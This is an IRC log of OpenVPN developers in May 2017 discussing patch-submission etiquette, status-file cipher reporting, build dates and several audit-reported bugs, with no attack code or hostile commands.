<@cron2> please open a bug in trac and/or send a patch to openvpn-devel 13:45 <@cron2> looking for the commit 13:47 <@cron2> commit 82acf2163412aae9259e2202dbe001a2ac797b99 13:47 <@cron2> this is actually somewhat confusing, will read up more on it 13:49 < SviMik> I'm too busy for posting in trac atm. We are migrating to 2.4, so I have to fix and test everything on our side first 13:51 < SviMik> cron2 is there anything else about migrating plugins from 2.3 to 2.4 I should know? 13:54 <@cron2> SviMik: if you want this fixed, help us not forget about it -> post a short note to trac :-) 13:54 <@cron2> I'm not aware of anything else, but then, I'm only using basic plugin stuff - dazo would be the one to ask 13:55 < SviMik> send a patch // thanks, but no thanks. That was enough last time with formatting, commit messages, refusing to accept my nickname, etc, etc. 13:55 <@cron2> yeah, I fully understand that you want the free stuff and have everything else do the work. Is that paraphrasing your statement correctly? 13:56 < SviMik> cron2 I'm just trying to say I'm not into paperwork 13:56 <@cron2> as a side note, 3d6a4cd introduced the option check, in 2015, and 82acf21 "fixed" it for "plugins with one argument", overlooking that two or more were actually a valid use case in 2.3 13:57 <@cron2> it's really not so hard to set up git properly, do a "git commit -s", then "git send-email --to=openvpn-devel@... HEAD~1" 13:57 <@cron2> but it saves *us* quite a bit of time on every single patch if stuff comes in over well-defined channels in a easy-to-handle format - and since we're doing this for free, I think we can ask for "make our lives a bit easier" 13:58 < SviMik> cron2 that's really demotivating when your paches are not accepted not because the code, but because some folks didn't like my comment message, some wrong space in formatting, or forsing me to use my real name, and I have to repost my patch multiple time because of that 13:59 <@cron2> well, formatting is important - the effort to get everything formatted *identically* wrt witespace, indent, etc. for 2.4 was significant ("we spent multiple days on it") - so yes, we want this to be correct, because otherwise we have to clean it up later 14:00 <@cron2> it's a nightmare to maintain code where everyone submitting patches has a different idea about formatting, style, etc. 14:00 <@cron2> (and that's what we inherited when taking over for 2.2) 14:01 <@cron2> and indeed, commit messages are as important as code - people come, and ask "why does this work differently now?" and then you can find the commit message and say "this is the thought that went into it" 14:01 <@cron2> which I just did... 3d6a4cde has a long message explaining what and why 14:02 < SviMik> cron2 I don't say formatting isn't important. But forcing the author to redo the patch when you could just fix that wrong space or line ending yourself is ridiculous. That's what I can't understand. 14:02 <@cron2> but anyway, I wasn't asking for "trac *and* patch", I offered "*or*". trac, so we do not forget, or patch, so we can apply right away 14:02 <@cron2> SviMik: why should it be our job to fix the whitespace? 14:11 < SviMik> cron2 throwing away some useful patch contributed just because you're too lazy to fix the whitespace or a typo in commit message while the rest of the code is already done for you? well, that's... a kind of philosophy that is hard to understand for me 14:14 <@cron2> it's called "our time is limited, and is way better spent on fixing code, than submissions not according to our style" - in most cases, this leads to "future submissions can be applied right away, without having to fix things again and again" - and in a few other cases it leads to lengthy discussions with people that are not willing to accept that *we* value *our* time, and are not the free patch 14:14 <@cron2> cleanup service 14:16 <@cron2> (and as a side note, I'm super tired after a long week, and instead of just applying a well-formatted patch, I spent much more time argueing why it's hard to submit a proper patch...) 14:24 < SviMik> are not the free patch cleanup service // it's a patch for *your* project by the way! and most of the work was already done for you! for free! And you are still not happy with that? Well, I just can't wrap my head around it. 14:26 < SviMik> That's why I'm not contributing to openvpn. Probably it's some cultural differences, I don't know 14:29 < SviMik> 2all - sorry for this offtopic we made here :) 16:53 * slypknot has said worce 16:55 <@dazo> SviMik: Reading your attitude here ... really demotivates me in helping you too ... so that just swings back 16:58 < slypknot> SviMik: dazo: it seems to me to be simple logic .. a properly formatted patch submitted to the correct channel will procced faster through the process 16:59 <@dazo> and as to a commit which really have hit us back, in regards to the "drop'n'run" attitude to patches ... commit 39e3d336d4eeab847a3395ddeb430e0a9ca387b9 is a brilliant example. The code review was sloppy on our side, it let in code which was of really bad quality ... and is now reported as bad code in the security audit just completed. I've tried to get in touch with the contributor to get help cleaning it up ... but no response in 16:59 <@dazo> about 4 weeks, so *we* now need to spend time either fixing it or motivating others to help out .... but in the very end, we may very well just kill that code completely instead 17:00 <@dazo> *that* is exactly why we need to be strict on patch contributions ... if you don't want to be responsible for your contribution, why should we care for it? 17:01 <@dazo> slypknot: exactly! 17:01 < slypknot> dazo: exacly! 17:02 <@dazo> in regards to commit 39e3d336d4eeab847 ... the lucky point here is that it is in contrib/ and not code actively used by most users 17:15 < SviMik> dazo I didn't want to escalate that topic, really. But yes, I'm upset with my past contributing attempts, that's true. Again, I did not mean to offend anybody. I just sometimes get... wrangling when I'm in no mood :) 17:16 < eworm> !meetings 17:16 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list, or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 17:16 <@dazo> eworm: no meeting scheduled currently ... but we need to try to get our meetings on the roll again 17:17 < eworm> Did not read about meetings on the mailing list lately... 17:17 < eworm> Ah, ok. :-p 17:17 <@dazo> we had one really quickly a week ago or so ... in regards to the 2.4.2/2.3.15 releases 17:17 < eworm> Was surprised by the last release. ;) 17:18 <@dazo> eworm: ahh, I see ... you're doing distro packaging, right? 17:18 < eworm> yes 17:18 < eworm> along some systemd related contributions and minors fixes 17:18 <@dazo> eworm: ensure mattock got your e-mail ... he usually sends a heads-up when we know some release dates 17:19 <@dazo> right, I remember those systemd discussions of ours ... and I know I have a pile of patches laying here too 17:20 < eworm> wondering what happens to the openssl 1.1 review... this kind of stalled 17:20 < eworm> ok, will ping mattock on this 17:20 <@dazo> I believe it will start moving forward again now, we've been focused on those two audit reports and trying to get that fixed asap 17:20 < eworm> feel free to ping me on systemd related stuff 17:20 <@dazo> btw .... I got some reports that Fedora 26 needs CAP_SYS_NICE (iirc) .... otherwise --nice doesn't work ... have you seen something similar? 17:21 <@dazo> It works fine on RHEL7 without CAP_SYS_NICE .... but might be some new restrictions in newer kernels 17:21 < eworm> Never tried --nice in the config 17:21 < eworm> let me try 17:22 < eworm> yes, fails with --nice 17:23 <@dazo> okay ... so that's a valid concern ... that's an easy fix though :) 17:24 <@dazo> which kernel are you on? 17:24 < eworm> linux 4.10.13, systemd 232, openvpn 2.4.2 17:24 <@dazo> okay ... I'm on 3.10 on the RHEL7 boxes .... (but with a bunch of backports, though) 19:18 <@ordex> morning 19:27 < SviMik> morning 19:28 < SviMik> actually, it's night in my place :) 19:29 < SviMik> http://svimik.com/openvpn_2.4.2_statusfile_remote_ciphername.patch 19:29 < SviMik> maybe someone find it useful. a way to monitor how many users with BF-CBC you have --- Day changed Sat May 13 2017 03:19 <@syzzer> hm, SviMik left already 03:19 <@syzzer> the concept makes sense, but I think his implementation is a bit misleading 03:20 <@syzzer> glancing at the code, I think NCP-capable clients that negotiate AES-GCM would get reported as 'BF-CBC' 03:21 <@syzzer> and eworn left too :') 03:21 <@syzzer> the openssl 1.1 patches are waiting for updated versions from the submitter 03:21 <@syzzer> (for once, the stall is not at one of the core devs :') ) 04:09 * cron2 wonders if the openssl 1.1 submitter remembers that the onus is on him, for once :) 04:09 <@cron2> (and good morning, btw) 04:15 <@syzzer> good morning :) 04:15 <@syzzer> I think he does, but he might have forgotten... 04:16 <@syzzer> dazo: I figured out why I was having troubles with your sha256 fingerprint hash 04:16 <@syzzer> nothing wrong with you patch, I broke the mbed fingerprint calculation myself a year ago... :/ 04:39 <@vpnHelper> RSS Update - tickets: #890: x509_get_subject copies 1 byte too many <https://community.openvpn.net/openvpn/ticket/890> 04:47 <@syzzer> looks like we're receiving yet another audit 06:40 <@cron2> indeed :) 06:42 <@cron2> oh, here we go - patch on list 06:44 <@cron2> Your branch is behind 'stable/release/2.4' by 15 commits, and can be fast-forwarded. 06:44 <@cron2> "you guys have been busy!" :) 07:20 < slypknot> is there a way to have the built on date to always reflect the date the make was run ? I git puuled & made openvpn/master today but the changes did not trigger for the date to be today .. 08:48 <@ordex> slypknot: which date do you refer to? 09:47 < slypknot> ordex: as in: OpenVPN 2.4.2 [git:2.4/85161685f42f2d8c] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on May 13 2017 09:48 < slypknot> the date there is today but on another VM the date is the 10th may even after git pull and full build 10:15 <@cron2> maybe that VM's date is just wrong? 10:15 <@cron2> not unheard of 10:24 <+krzee> happens all the time to me ^ 10:31 < SviMik> hi 10:31 <+krzee> 01:13] <syzzer> hm, SviMik left already 10:31 <+krzee> [01:13] <syzzer> the concept makes sense, but I think his implementation is a bit misleading 10:31 <+krzee> [01:14] <syzzer> glancing at the code, I think NCP-capable clients that negotiate AES-GCM would get reported as 'BF-CBC' 10:31 < SviMik> hmm, that explains a lot 10:32 < SviMik> including my question "why NCP doesn't work" 10:32 <+krzee> ya he wrote the NCP stuff 10:32 < SviMik> also, it's even reported as "(null)" sometimes 10:33 < SviMik> well, I tried 10:33 <+krzee> im guessing you're close, totally a guess tho, maybe when he comes back he has a suggestion 10:34 < SviMik> good, will be waiting then 10:35 < SviMik> the "remote_ciphername" variable was named like it should contain a remote ciphername, so I wasn't doubting about that 10:35 < SviMik> and didn't trace how it gets populated 10:37 < SviMik> just tried to print it, saw it already contain a human-readable cipher name, and was happy to get it so easily :) 10:37 <+krzee> sounds like a reasonable assumption! 10:37 <+krzee> (doesnt make i t right, but sure sounded reasonable!) 10:37 < SviMik> :D 10:37 <+krzee> =] 10:49 < slypknot> infact the VM takes its date from the host which has a NTP server all setup 10:51 < slypknot> Question: if i build openvpn (autreconf/configure/make) then the resulting openvpn binary *should* show the date of that actual build .. even if nothing changed ? 10:53 < SviMik> openvpn --version 10:53 < SviMik> OpenVPN 2.4.2 x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on May 13 2017 10:54 < SviMik> I just built it and it shows that I built it today. seems legit 10:55 < SviMik> slypknot just rm the binary if you want to be really sure 10:57 < slypknot> SviMik: i am not sure that is sufficient .. 10:58 < slypknot> infact .. i know that is not sufficient 10:59 < slypknot> i have src/openvpn/openvpn file dated 13/may(today) --version shows built on 10 may 11:01 < SviMik> slypknot rm -rf the whole directory, then unzip/reupload the sources and build from scratch 11:01 < slypknot> SviMik: that is not the issue .. the issue is why does the build process not update the date 11:02 < slypknot> so .. between 10 may and 13 may some changes were applied but doing git pull and building openvpn did not update the build date in the binary 11:02 < slypknot> my question is .. should it have .. because it did not 11:03 < slypknot> that was on master btw 11:06 < SviMik> I would expect the build date to be updated actually... not like a big issue, because I don't rely on it, but still... 11:06 < SviMik> perhaps left unnoticed because it doesn't show the time 11:09 < slypknot> the only reason i bring it up here is because it could be an indication of a problem which has not been noticed .. or it is just me 11:10 < slypknot> considering how many changes happened between 10 and 13 may .. i would have expected the built on date to reflect that 11:12 < slypknot> maybe nothing in openvpn binary actually changed .. but even so .. should the new build reflect the correct date or not ? 12:55 <@cron2> it should, if the changes affect stuff that causes a rebuild of options.c - normally that should always be the case if the git ID changes 12:56 <@cron2> so if you have a binary that is built on May 13, and claims it's 2.4.2, but still shows May 10 as build date, something funny happened in that VM 12:56 <@cron2> (because the version number and build date both come from the same options.c->options.o compilation) 13:27 <@vpnHelper> RSS Update - gitrepo: Pass correct buffer size to GetModuleFileNameW() <https://github.com/OpenVPN/openvpn/commit/986b930862c7fecb2a42645f1dc23a53ab2cf6bb> 14:17 * SviMik tries to ping syzzer 14:18 < slypknot> cron2: thanks .. just did all again on a copy of the broken git and it worked ok 20:32 <+krzee> i suggest a find / replace polarssl / mbedtls in the openvpn 2.4 manpage --- Day changed Sun May 14 2017 01:31 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 255 seconds] 01:31 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 04:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 12:01 <@cron2> ecrist: could you please bump freebsd/openvpn-devel to the next weekly snapshot? Given that the existing one is also subject to the DoS bugs 13:28 <@syzzer> SviMik: the 'remote_ciphername' is the cipher specified in the *config file* of the remote client 13:29 <@syzzer> we use it internally for 'poor mans NCP' 13:29 <@syzzer> what you probably want is "cipher_kt_name(cipher_kt_get(mi->context.c2.crypto_options.key_ctx_bi.encrypt.cipher))" 13:29 <@syzzer> (but of course somewhat nicer in code ;-) ) 13:29 < SviMik> syzzer I have used mi->context.options.ciphername, is it correct? 13:30 <@syzzer> hm, let me think 13:30 < SviMik> looks like it's just what NCP modifies 13:30 <@syzzer> yes, that should be right 13:30 <@syzzer> and easier than what I suggested 13:31 < SviMik> so I've called the tls_multi->remote_ciphername a "Client Cipher", and context.options.ciphername "Negotiated Cipher" 13:31 < SviMik> both can be useful to understand what's going on 13:32 <@syzzer> that's correct naming 13:32 <@syzzer> I'll leave it upto dazo/cron2/plai to decide how thing should look in the status output - I don't use it myself 13:33 <@syzzer> but sounds like what you're doing now is correct 13:33 < SviMik> ^_^ 13:35 < SviMik> I have also put client's IV_VER and IV_PLAT for myself to have even better understanding :) 13:36 < SviMik> now my statusfile looks like this: 13:36 < SviMik> Common Name,Real Address,Bytes Received,Bytes Sent,Connected Since,Platform,Version,ClientCipher,NegotiatedCipher 13:36 < SviMik> br72,11.22.33.44:40700,43336,4313,Sun May 14 06:01:53 2017,2.3.12,linux,BF-CBC,BF-CBC 13:36 < SviMik> br48,11.22.33.44:50780,2675,4063,Sun May 14 06:02:45 2017,2.4.2,linux,BF-CBC,AES-256-CBC 13:37 <@cron2> this is ok according to our informal "new colums have a unique header and are added to the end" 13:37 <@cron2> not sure I would put *all* the columns in there - "negotiatedcipher" is important to see what's life on the wire, but all the IV_ values are nicely logged already... 13:38 < SviMik> *space issue is fixed too, just old paste 13:39 < SviMik> cron2 I don't like the idea to parse the log when I can use the statusfile 13:39 <@cron2> tradeoff between "have everything in that line, which makes it very long" and "what is hard to get elsewhere"... 13:39 <@cron2> you're not logging windows version, or GUI version either :) 13:40 < SviMik> afaik windows version isn't sent by default 13:40 <@cron2> of course it is, as is remote ssl library version... 13:41 <@cron2> ... there is lots of good info in IV_*, but I'm not convinced all of it should go to the status file - and since everyone wants something different, status file might not be the right place to start with 13:42 <@cron2> (but you're right regarding SSL version, that needs --push-peer-info to be set) 13:42 < SviMik> I'd prefer to put only the values which are always available (unless user build something really custom, disabling it), otherwise the statusfile will look ugly 13:43 < SviMik> IV_VER and IV_PLAT are available on all platforms by default 13:45 < SviMik> but, like I said, I did it for myself. I'm not pushing it into official release 13:45 < SviMik> but I'll share the patch if someone likes it 13:53 < SviMik> fortunately, customizing the statusfile is very easy. too bad I didn't know about IV_* before - I could already have a lot of statistics, for example, to know the platform usage 14:37 < slypknot> I use --client-connect to log all that ^^ 14:37 < slypknot> most of that 14:39 < SviMik> obviously not the Bytes Sent and Bytes Received 14:39 < slypknot> --client-disconnect 14:40 < SviMik> you will wait till disconnect to know one's traffic? 14:40 < slypknot> my requirements are not as specific as yours 14:40 < SviMik> also, if something nasty happens with server - data will be lost 14:41 < slypknot> if .. don't you mean *when* / ;) 14:43 < SviMik> everything is monitored by a server from another datacenter 14:43 < SviMik> so I will know the last state even if a meteorite falls onto that server 14:43 < SviMik> +-1min 14:44 < slypknot> so not something the average user / router will be doing .. 14:45 < SviMik> I thought statusfile is meant for a server, not for the clients 14:46 < slypknot> average users have servers on their routers .. 14:47 < SviMik> yes, servers sometimes do have blackouts, internet cable cuts, hardware fails, etc 14:48 < SviMik> so the --client-connect is the least reliable thing in the world 14:49 < SviMik> s/connect/disconnect 14:49 < slypknot> i have an acceptable margin of error 14:54 <@plaisthos> syzzer: I don't use the status output, so I don't care that much 14:56 <@plaisthos> but negiotaed or used cipher could a good addition in that file 15:20 < SviMik> MULTI: new connection by client '...' will cause previous active sessions by this client to be dropped. 15:20 < SviMik> --> shoudn't something like explicit-exit-notify be sent to the client in that case? previous client still thinks it's connected until the inactivity timeout fires 15:49 < slypknot> SviMik: who timed out first, server or client ? 15:50 < slypknot> SviMik: plaisthos .. i agree that negotiated cipher would be useful to record and --reneg options (under the same roof) 15:51 < slypknot> it feels like there is a but of a hole in the scripting .. --client-connect cannot capture negotiated cipher 15:56 < SviMik> slypknot on the server the session was just replaced because of duplicate CN 15:56 < SviMik> but server didn't tell previous client about that 15:57 < slypknot> SviMik: right ..but did the client timeout 15:57 < slypknot> or disconnect ? 15:57 < SviMik> yes, the client did its own timeout 15:57 < slypknot> timeout != disconnect 15:57 < SviMik> and tried to reconnect after 30 sec 15:58 < SviMik> * 30 sec inactivity timeout 15:58 < SviMik> (in my case) 15:58 < SviMik> so the client wasn't notified by server 15:58 < slypknot> timeout != explicit exit notify 15:59 < SviMik> 1) server replaced the session 2) after 30 sec the client said "inactivity timeout, reconnecting" 15:59 < SviMik> idk how to describe it further 16:02 < SviMik> explicit exit notify was just an example of command when one side tells to the other side to drop the connection when protocol is udp 16:02 < slypknot> if the client timesout then it is not exiting so it does not send --explicit-exit-notify 16:02 < SviMik> explicit-exit-notify is supported by the server too 16:02 < SviMik> from 2.4, I guess 16:03 < slypknot> timeout does not equal exit therefore NO explicit-exit-notify 16:03 < SviMik> not timeout, a session replacement because of duplicate CN! 16:03 < SviMik> on the server side 16:04 < SviMik> and server drops the previous connection without telling the client anything 16:04 < slypknot> as it should 16:04 < SviMik> why not to send a command explicitly? 16:05 < slypknot> or as it does now .. there is a misnoma in the example server.conf to send explicit-exit-notify *to* clients .. but it is not supported yet (if ever) 16:06 < SviMik> so the server could send something like multi_signal_instance(m, mi, SIGTERM); to the client before cleaning up the session 16:06 < SviMik> like the client-kill command doues 16:07 < slypknot> there is a trac for it 16:08 < slypknot> #776 16:08 < slypknot> https://community.openvpn.net/openvpn/ticket/778 16:08 <@vpnHelper> Title: #778 (Routes changed by --redirect gatway not re-instated on exit if interactive service is in use) – OpenVPN Community (at community.openvpn.net) 16:09 * slypknot pebkac 16:09 < slypknot> https://community.openvpn.net/openvpn/ticket/776 16:09 <@vpnHelper> Title: #776 (explicit-exit-notify is enabled in sample server.conf, but it is not supported for server mode) – OpenVPN Community (at community.openvpn.net) 16:09 < slypknot> thar she blows ! 16:10 < SviMik> "that option *is* supported on the server side for 2.4" 16:10 < SviMik> does it mean it *actually* works? 16:10 < slypknot> what ? 16:11 < SviMik> you said it's not supported 16:11 < SviMik> but trac says it is supported 16:11 < slypknot> i know .. now i am the *chump* 16:12 < slypknot> this openvpn carp is sure slippery ! 16:12 < slypknot> ima CC myself on 776 16:14 < slypknot> however .. that would require that the server be shut down i think 16:14 < slypknot> is that what you mean ? 16:15 < slypknot> SviMik: ^o 16:16 * slypknot can hear the cogs turning 16:17 < SviMik> I just made a suggestion that if server kicks a client, it could use the similar mechanism to notify the client, instead ot leaving the client in unknown state 16:18 < slypknot> suggestion noted 16:19 < slypknot> or you could see help in status session 16:19 < slypknot> client-kill $CID $Exit-Code 16:21 < SviMik> the server kicks the client automatically when another connection with the same cert arrives 16:21 < SviMik> but it doesn't do what client-kill does in that case 16:21 < slypknot> ^ that depends on --duplicate-cn 16:22 < SviMik> if I say it does, that means duplicate-cn is disabled in my case :) 16:23 < slypknot> and so .. it does what it says on the tin 16:23 < SviMik> ok, you won 16:24 < slypknot> lol .. no really ! 16:24 < slypknot> i was only trying to get you on the same page as me 16:24 < SviMik> I tried the same :) 16:24 < slypknot> 8-) 16:25 < slypknot> improvements are welcome .. if they really are improvements 16:25 < slypknot> i have had some hair brained schemes ! 16:26 < slypknot> but dazo usually explains what my mistake is 16:27 < slypknot> however, capturing negotiated cipher is great .. now how can that ne made available to a script ? 16:27 < slypknot> the only current candidate is --client-disconnect 16:27 < SviMik> is script called before IV_* are received? 16:28 < slypknot> --client-connect does have IV_* 16:29 < slypknot> but i am not sure where the negotiation takes place 16:29 < slypknot> the log shows negotiated cipers right after push on the server 16:31 < SviMik> I mean, --client-connect doesn't have it because it's not available yet, or just wasn't passed to the script? 16:31 < slypknot> i do not know which but i suspect "not available yet" 16:32 < SviMik> well, if log prints IV_* before calling --client-connect, then it must me possible to pass it 16:32 < SviMik> otherwise we can't pass what we don't have :) 16:33 < slypknot> "peer info" is available before --client-connect .. according to my log 16:33 < slypknot> so you may be in this to win it ! 16:35 < SviMik> well, I can look into it later 16:37 < SviMik> btw, I have fixed the bug when clients 2.3.6...2.3.12 were failing to reconnect to a 2.4 server when "user nobody" was used on the client side 16:38 < SviMik> it was a faulty peer-id handling in 2.3.6...2.3.12 (fixed in 2.13 by 84022030dc2af8606e6a11c3dca1780419e7a534) 16:39 < SviMik> so I decided to not send peer-id to those client versions, and everything works now 16:43 < SviMik> the problem was that changed peer-id was causing... well, the log will explain better: http://svimik.com/openvpn_opt_changed.log 16:50 * slypknot 16:50 < slypknot> lag went nuts ! 19:44 <@ordex> morning 20:30 <@ordex> syzzer: does [PATCH] Avoid a 1 byte overcopy in x509_get_subject (ssl_verify_openssl.c) really fix a bug ? 20:30 <@ordex> to me it seems more like an optimization, no? --- Day changed Mon May 15 2017 00:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:34 <@syzzer> ordex: it does copy memory it should not copy 02:35 <@syzzer> so that's a buffer overrun 02:35 <@syzzer> but it's just one byte, and that byte is overwritten immediately after, so there is no further impact 02:40 <@ordex> syzzer: ah you mean it copies from beyond the limit of the source buffer 02:40 <@ordex> ok 02:40 <@ordex> yeah that is bad 02:40 <@ordex> I didn't realize that 02:41 <@ordex> because subject is subject_mem->length bytes long, but so far we have been copying that +1 02:41 <@ordex> okok, thanks :) 03:04 <@cron2> I'll go and apply this tonight. It's a bit tricky since we have two different patches for 2.3 and 2.4/master now, with different authors... :) 03:30 <@syzzer> cron2: feel free to replace my name with Guido's if that makes sense 03:31 <@syzzer> I was looking into the 2.4 bits and decided to not make someone else do the same 'forward porting' work I did 03:48 <@cron2> nah, since you credit his work, I'll just add the final commit ID or such 04:24 <@cron2> ecrist: *ping* 04:57 < xenol> hello, I opened PR to add option to enable iproute2 support for RPM packages: https://github.com/OpenVPN/openvpn/pull/88/commits/6e1941de861f7e6cc54441f37323755950d86e45. Before sending the patch to the mailing list, I wanted to get some feedback 04:57 < xenol> should I send it just right away? 05:01 <@ordex> xenol: I think the audience on the ml is broader. Either just send the patch(es) or at least send an email with a link to the PR if it is still WIP 05:01 <@ordex> however, sending the patches right away is what most of the people normally do 05:08 < xenol> ok, I will send the email then. 05:08 < xenol> thanks 05:18 <@dazo> slypknot: you need to remove ./src/openvpn/options.o ... options.c needs to be rebuilt, as it uses __DATE__, which is a C compiler macro of the current date it is being built ... so if you re-compile and options.o didn't need to be rebuilt, the date won't change 05:26 <@dazo> slypknot: however ... if you use git, and do another build on a new commit (a rebase, a different branch, etc), config-version.h should get updated, which again should trigger options.c being re-compiled too ... but if it is based on a tarball, config-version.h isn't used at all 05:28 * dazo ponders if we should extend the plug-in API to have a status hook, instead of extending the status log files 05:30 <@dazo> that way, the status plug-in can extract whatever information we decide to pass over to it, we can extend that without breaking existing plug-ins (thus the output format is the same) ... and the plug-in can produce different formats too, than just a text based file (json? xml?) ... and can also integrate with other real-time monitoring systems more directly (unix sockets, AMQP, 0mq, D-Bus, etc, etc) 05:39 <@dazo> [git] https://twitter.com/nixcraft/status/861233192300273664 05:42 <@ordex> lol 05:43 <@ordex> the git merge below is fun too :D https://twitter.com/mterrabuio/status/857075508659597312 06:07 <@dazo> hahaha .... yeah :) 06:51 <@d12fk> Quarkslab 5.7: Leak of Service Manager Handles in OpenVPN GUI 06:51 <@d12fk> was that me? 06:54 <@dazo> d12fk: git blame knows the truth ;-) 06:57 <@dazo> [OT] ... today's wtf ... http://ij.org/case/oregon-engineering-speech/ 06:57 <@d12fk> you can't blame on non-existing code :-) 07:10 < slypknot> " [X] Kill orphans with cookies " lol 07:11 < slypknot> dazo: thanks for the info 07:11 <@dazo> yw! 07:11 < slypknot> i thought it would be something like that but i could not work it out for myself 07:13 <@d12fk> is there a typo on the audit results wiki page? 07:13 <@dazo> plausible 07:13 <@d12fk> CVE-2017-7478: An authenticated client can 07:13 <@d12fk> shouldn't that be un-authenticated instead? 07:14 * dazo checks 07:17 <@ordex> dazo: lol @ the today's wtf 07:19 <@dazo> d12fk: hmmmm .... if using --tls-auth/tls-crypt, HMAC authentication the HMAC must match... if you not, then it seems susceptible to unauthenticated attaches indeed 07:19 <@dazo> syzzer: ^^^ 07:21 <@d12fk> just noticed OSTIF is talking about unauthenticated on their page: 07:21 <@d12fk> "Correction of a pre-authentication Denial of Service attack. An attacker can crash any OpenVPN client or server without any credentials or keys." 07:21 <@dazo> yeah 07:22 <@syzzer> yeah, we also call it 'pre-authentication' 07:22 <@syzzer> tls-auth helps against external threats here - but not against internal ones 07:23 <@dazo> right, and "Pre-authentication" is the word used in the report 07:33 <@ecrist> cron2: pong 07:35 < slypknot> FYI: "This issue have been assigned CVE.." really ought to be "This issue *has* been .." 07:36 < slypknot> i can change it i guess :) 07:39 <@dazo> ["OT"] ... for the crypto geeks ... http://www.theregister.co.uk/2017/05/15/virtual_lorenz_tnmoc/ 07:39 <@vpnHelper> Title: Have a go with this WW2 German Lorenz cipher machine – in your browser • The Register (at www.theregister.co.uk) 07:45 <@dazo> Hmmm ... crazy idea popped up .... I know, new option and all that, .... but what about: --use-defaults 2017 .... which actually makes it possible to switch a lot of the default config options to a newer set of defaults .... like --topology subnet --cipher AES-256-CBC (for 2.3 compat) --auth SHA256 .... and possibly a bunch of other defaults we should consider updating ... 07:46 <@ecrist> I think that only makes sense if you can push it from the server 07:46 <@ecrist> also, is there anyway we could make it so openvpn didn't need to restart to make some of those config changes? 07:47 <@dazo> if we could push all that from the server, then we wouldn't need that option at all .... as then the server could do the upgrade completely ... and it won't be compatible with 2.3 clients 07:47 <@ecrist> eh, fuck the 2.3 clients, they're old news. :P 07:48 <@dazo> hehe ... we will need to care for it for a bit longer time, unfortunately :) 07:48 <@ecrist> I don't really appreciate your facts. they're inconvenient. 07:48 <@dazo> But it could help users start with a more decent starting point, that's my thinking 07:48 <@dazo> hehehe 07:49 <@dazo> not to do a restart will be far much harder to achieve though ... that's probably somewhat more possible with the new openvpn3 code base, but even there I don't think that's part of the design 07:50 <@ecrist> I think it should be though - it's a part of the design of many commercial offering, and I think it's a necessary feature. 07:50 <@ecrist> I think more server-pushed options and config changes without restart should be design goals. 07:50 <@dazo> I don't disagree about that .... it's just that James did implement openvpn3 by himself without getting too much input from others in the re-design phase 07:51 <@ecrist> less config on the client side. 07:51 <@ecrist> let me rephrase, less "required" config on the client side. 07:52 <@ordex> right now I think that any change in the push-reply will trigger a restart (which fails in case of privileges dropping), but this could be changed I think 07:52 <@ecrist> like, nearly everything should/could be a server push aside from address/port and protocol 07:52 <@ordex> ecrist: the client may want not to obey to the server: i.e. I run config X otherwise I better disconnect 07:52 <@ordex> no? 07:52 <@dazo> for openvpn 2.x this is almost close to impossible to achieve ... for the openvpn 3 code, it is more modular and might be /easier/ to implement - but it will still be hard, as you need to exchange a few parameters before setting up the SSL/TLS layer 07:52 <@ecrist> sure, and I think that's OK 07:52 <@ecrist> ordex: ^^^ 07:53 <@ordex> :x 07:53 <@ecrist> but, I think, at the base level, a server should be able to push all options to the client, so the "dumb" user can just enter address/port and protocol 07:53 <@ordex> yeah 07:53 <@ordex> allowing very minimal config 07:53 <@ecrist> the client can override those things, but they shouldn't even need to be aware of most of them 07:53 <@dazo> that's an ideal goal ... and which is what openconnect have achieved 07:53 <@cron2> ecrist: ah! could you please update openvpn-devel to today's snapshot? 07:54 <@ecrist> cron2: today's? 07:54 <@ordex> dazo: openconnect? you mean connect the app ? 07:54 <@dazo> ordex: they have a server side component too now 07:54 <@ordex> ah ok 07:54 <@ecrist> I can, sure. I just have to re-roll the dev snapshot. 07:54 <@dazo> still not fully production ready, iirc ... but they have some neat features, like GSSAPI auth 07:55 <@dazo> http://www.infradead.org/ocserv/ 07:55 <@vpnHelper> Title: OpenConnect VPN server. (at www.infradead.org) 07:55 <@ordex> thanks for the link 07:56 <@ordex> dazo: re about openvpn3: imho we should target for a new code base that is the merge of ovpn2+ovpn3+our experience, rather than targeting releasing ovpn3 as is 07:56 <@ordex> but .. you know what this means :S 07:56 <@dazo> hehehe ... yeah :/ 07:56 <@ordex> this will take ..ehm .. some time 07:56 <@ordex> :D 07:56 <@dazo> I have all the time until my retirement! :-P 07:57 <@ordex> haha 07:57 <@ordex> well, at that point you'll have even more !! 07:57 <@ordex> :D 07:57 <@cron2> ecrist: actually we can push *most* stuff now - --auth is missing (but that's a technicality) 07:57 <@dazo> cron2: but not tun/tap 07:57 <@cron2> and obviously all the pre-auth stuff which needs to be correct before the server talks to you... ca, key, ... 07:57 <@dazo> +1 07:58 <@dazo> well, if you use --client-cert-not-required ... then only --ca is needed 07:58 <@cron2> ecrist: you can't? Well, yeah, but I do not see this as a major drawback - nobody uses tap mode except people that actively want that, and they need to set up both sides properly... 07:59 <@cron2> ecrist: wrt snapshot - I thought you did them on monday? 07:59 <@ordex> well on the client side tap might not require any kind of setup, no ? 07:59 <@ordex> it might be just the server that is bridging with something else etc 08:00 <@ordex> so the client may "Accept" tap without doing any special setup 08:00 <@cron2> ordex: strictly speaking, yes. (Except for the mobile platforms, who just do not *have* tap mode) 08:00 <@ordex> right 08:00 <@dazo> cron2: you've not been on #openvpn for a while, I presume (no blame!) .... but I've been bitching against a bunch people there from time to time who uses tap (and even bridging) ... mostly because "this blog post told me to do so ..." :-/ 08:00 <@ordex> dazo: that's something nothing can stop :P 